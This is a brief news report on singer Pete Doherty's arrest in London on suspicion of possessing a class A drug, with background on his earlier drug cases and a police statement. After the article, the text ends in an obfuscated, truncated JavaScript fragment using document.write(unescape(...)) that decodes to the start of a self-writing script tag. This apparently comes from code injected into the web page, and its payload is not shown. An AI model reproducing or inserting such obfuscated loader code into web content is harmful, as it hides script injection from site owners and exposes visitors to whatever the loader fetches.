Pete Doherty nicked again

Troubled singer Pete Doherty has been arrested on suspicion of possessing a class A drug.

The musician was stopped in a car by officers in central London on Saturday night and held at a police station before being bailed.

Doherty, 28, has appeared in court on a number of drug offences over the past six months and was praised in April by a judge for "more than co-operating" in his struggle to beat his addiction to hard substances.

The comments were made by District Judge Jane McIvor when the Babyshambles frontman appeared at Thames Magistrates' Court in east London for a review of a drug treatment order.

The singer told the court: "The people I'm closest to have had enough. They've said it's drugs or them."

A Scotland Yard spokesman said: "About 10pm on (Saturday) police stopped a vehicle in Kensington High Street.

"The 28-year-old male driver was arrested on suspicion of possession of a class A drug.

"He was taken to a West London police station and subsequently bailed to return on a date in June."document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
